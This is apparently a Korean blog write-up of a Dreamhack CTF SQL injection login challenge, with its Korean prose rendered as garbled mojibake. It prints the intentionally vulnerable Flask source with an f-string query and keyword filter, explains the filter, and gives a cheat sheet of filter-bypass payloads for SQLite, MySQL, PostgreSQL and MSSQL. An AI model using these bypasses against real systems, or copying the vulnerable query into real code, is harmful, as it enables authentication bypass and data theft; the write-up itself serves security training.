๐๏ธ Access
๋ก๊ทธ์ธ ์๋น์ค์ ๋๋ค.
SQL INJECTION ์ทจ์ฝ์ ์ ํตํด ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์!
๐พ Exploit Algorithm & Payload
> app.py
#!/usr/bin/env python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3
app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack
DATABASE = 'users.db'
def get_db():
    top = _app_ctx_stack.top
    if not hasattr(top, 'sqlite_db'):
        top.sqlite_db = sqlite3.connect(DATABASE)
    return top.sqlite_db
try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'
@app.route('/')
def index():
    return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    uid = request.form.get('uid', '').lower()
    upw = request.form.get('upw', '').lower()
    level = request.form.get('level', '9').lower()
    sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
    for x in sqli_filter:
        if uid.find(x) != -1:
            return 'No Hack!'
        if upw.find(x) != -1:
            return 'No Hack!'
        if level.find(x) != -1:
            return 'No Hack!'
    
    with app.app_context():
        conn = get_db()
        query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
        try:
            req = conn.execute(query)
            result = req.fetchone()
            if result is not None:
                uid = result[0]
                if uid == 'admin':
                    return FLAG
        except:
            return 'Error!'
    return 'Good!'
@app.teardown_appcontext
def close_connection(exception):
    top = _app_ctx_stack.top
    if hasattr(top, 'sqlite_db'):
        top.sqlite_db.close()
if __name__ == '__main__':
    os.system('rm -rf %s' % DATABASE)
    with app.app_context():
        conn = get_db()
        conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
        conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
        conn.commit()
    app.run(host='0.0.0.0', port=8001)
#1

: '/' ์ธ๋ฑ์ค ํ์ด์ง์์๋ ๋ก๊ทธ์ธ ํ์ด์ง๋ก ์ด๋ํ ์ ์๋ ๊ธฐ๋ฅ์ด ์๋ค.

: '/login' ํ์ด์ง์์๋ ํผ์ ์ ๋ ฅํ์ฌ ์ ์ถํ๋ ๊ธฐ๋ฅ์ด ์๋ค.
: ์ฌ๊ธฐ์ ์ฝ๋๋ฅผ ๋ถ์ํ์ ๋, 'uid', 'upw', 'level'์ด ์๋ ๊ฒ์ ํ์ธํ๋๋ฐ ์ ์ก ํผ์ผ๋ก๋ level์ด ์ ๋ณด์ด๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
#2


: Burp Suite ๋๊ตฌ๋ฅผ ํ์ฉํ์ฌ Proxy๋ฅผ ์ก์๋ค. uid, upw์ level์ ์ ์ฉํด๋ ์ ๋์ํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
#3
DATABASE = 'users.db'
...
try:
    FLAG = open('./flag.txt', 'r').read()
-1    
@app.route('/')
-2
@app.route('/login', methods=['GET', 'POST'])
-> POST ๋ฐฉ์์ผ๋ก ์ฌ์ฉ(GET์ ์ฌ์ฉ ์ login.html ํ
ํ๋ฆฟ์ ๋ ๋๋งํ์ฌ ๋ฐํํ๊ฒ ๋จ)
-> uid, upw ๊ฐ์ ๊ฐ์ ธ์ ์๋ฌธ์ ๋ณํ ํ, ์ด๋ฅผ ์ฌ์ฉํ์ฌ ๊ฐ ์ฒ๋ฆฌ. level์ ๊ธฐ๋ณธ 9๋ก ์ง์ 
    uid = request.form.get('uid', '').lower()
    upw = request.form.get('upw', '').lower()
    level = request.form.get('level', '9').lower()
-> uid,upw,level ํํฐ๋ง ์์
์ด ๋์ด ์์
['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
'\t': ํญ ๋ฌธ์
'\n': ๋ด๋ผ์ธ(newline) ๋๋ ์ค๋ฐ๊ฟ ๋ฌธ์
'\r': ์บ๋ฆฌ์ง ๋ฆฌํด(carriage return) ๋ฌธ์ # ์ปค์๋ฅผ ํ์ฌ ์ค์ ์ฒ์์ผ๋ก ์ด๋์ํค๋ ์ญํ 
'\x08': ๋ฐฑ์คํ์ด์ค ๋ฌธ์ # ์ปค์๋ฅผ ์ผ์ชฝ์ผ๋ก ํ ์นธ ์ด๋์ํค๊ณ  ๊ทธ ์์น์ ๋ฌธ์๋ฅผ ์ญ์ ํ๋ ์ญํ ์ ํฉ๋๋ค.
'\x09': ์ํ ํญ ๋ฌธ์ # '\t'์ ๋์ผํ๊ฒ ์๋
'\x00': ๋(null) ๋ฌธ์ # ๋ฌธ์์ด์ ๋์ ํ์ํ๋ ์ญํ 
'\x0b': ์์ง ํญ ๋ฌธ์ # ์ถ๋ ฅ ์ฅ์น์์ ์ปค์๋ฅผ ๋ค์ ์ค๋ก ์ด๋์ํค๋ ์ญํ 
'\x0d': ์บ๋ฆฌ์ง ๋ฆฌํด ๋ฌธ์ # '\r'๊ณผ ๋์ผํ๊ฒ ์๋
' ': ๊ณต๋ฐฑ ๋ฌธ์ # ํ
์คํธ ์ฌ์ด์ ๊ฐ๊ฒฉ์ ์ฃผ๋ ์ญํ 
-> query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
->   if result is not None:
                uid = result[0]
                if uid == 'admin':
                    return FLAG
: ์ฝ๋์์ ํ์ํ ๋ถ๋ถ๋ง ์์ฝํ๋ค.
: ํํฐ๋ง์์ ์ฃผ์์ ์๋ ๊ฒ์ ํ์ธํ๋ค.
: ์ถ๊ฐ๋ก level์ integerํ์ด๊ธฐ์ charํ๊ณผ ๋ฌ๋ฆฌ ์ฑ๊ธ์ฟผํฐ(')๋ก ๊ฐ์ธ์ ธ ์์ง ์๋ค.
๐Analysis and results for obtaining the Flag DH{…}

: ๋ค์๊ณผ ๊ฐ์ด sqlite์์ ๊ตฌ๋ฌธ ๊ฒ์ฌ ์ฐํ UNION VALUES(num)๊ณผ ๊ณต๋ฐฑ ์ฐํ๋ฅผ ์ด์ฉํ์ฌ FLAG๋ฅผ ํ๋ํ ์ ์๋ค.
[+] Additional Checks
-Bypass WAF-
→ ๋์๋ฌธ์ ๊ฒ์ฌ ๋ฏธํก
UnIoN SeLecT 1, 2, 3#
→ ํ์ง๊ณผ์  ๋ฏธํก
UNunionION SELselctCT 1, 2#
→ ๋ฌธ์์ด ๊ฒ์ฌ ๋ฏธํก
SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;
→ ์ฐ์ฐ์ ๊ฒ์ฌ ๋ฏธํก
select 1 || 1;
^, =, !=, %, /, *, &, &&, |, ||, >, <, XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL ๋ฑ์ ์ฐ์ฐ์๋ฅผ ํ์ฉํ ์ ์์
→ ๊ณต๋ฐฑ ํ์ง
SELECT/**/'abc';
select`username`,(password)from`users`WHERE`username`='admin';
-MySQL Bypass-
→ ๋ฌธ์์ด ๊ฒ์ฌ ์ฐํ
select 0x6162, 0b11000010110010;
select char(0x61, 0x62);
select concat(char(0x61), char(0x62));
select mid(@@version,12,1);
→ ๊ณต๋ฐฑ ๊ฒ์ฌ ์ฐํ
select -> 1;
select/**/1;
→ ์ฃผ์ ๊ตฌ๋ฌธ ์คํ
/**/, //, --, #, ...
-PostgreSQL Bypass-
→ ๋ฌธ์์ด ๊ฒ์ฌ ์ฐํ
select chr(65);
select concat(chr(65), chr(66));
select substring(version(),23,1);
→ ๊ณต๋ฐฑ ๊ฒ์ฌ ์ฐํ
select 1;
select/**/1;
-MSSQL Bypass-
→ ๋ฌธ์์ด ๊ฒ์ฌ ์ฐํ
select char(0x61);
select concat(char(0x61), char(0x62));
select substring(@@version, 134, 1);
→ ๊ณต๋ฐฑ ๊ฒ์ฌ ์ฐํ
select 1;
select/**/1;
-SQLite Bypass-
→ ๋ฌธ์์ด ๊ฒ์ฌ ์ฐํ
select char(0x61);
select char(0x61)||char(0x62);
→ ๊ณต๋ฐฑ ๊ฒ์ฌ ์ฐํ
select/**/1;
→ ๊ตฌ๋ฌธ ๊ฒ์ฌ ์ฐํ
select 1 union values(2);
UNION VALUES(char(0x..), char(0x..), ...)
'[Dreamhack]WebHacking > Wargame&CTF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
| [Dreamhack] Level2: login-1 (2) | 2024.02.25 | 
|---|---|
| [Dreamhack] CTF Season 5 Round #4 - BypassIF (1) | 2024.02.25 | 
| [Dreamhack] Level4: KeyCat (0) | 2024.02.23 | 
| [Dreamhack] Level1:Beginner blue-whale (1) | 2024.02.07 | 
| [Dreamhack] Level2: Dream Gallery (0) | 2024.02.03 | 
 
                    
                   
                    
                   
                    
                  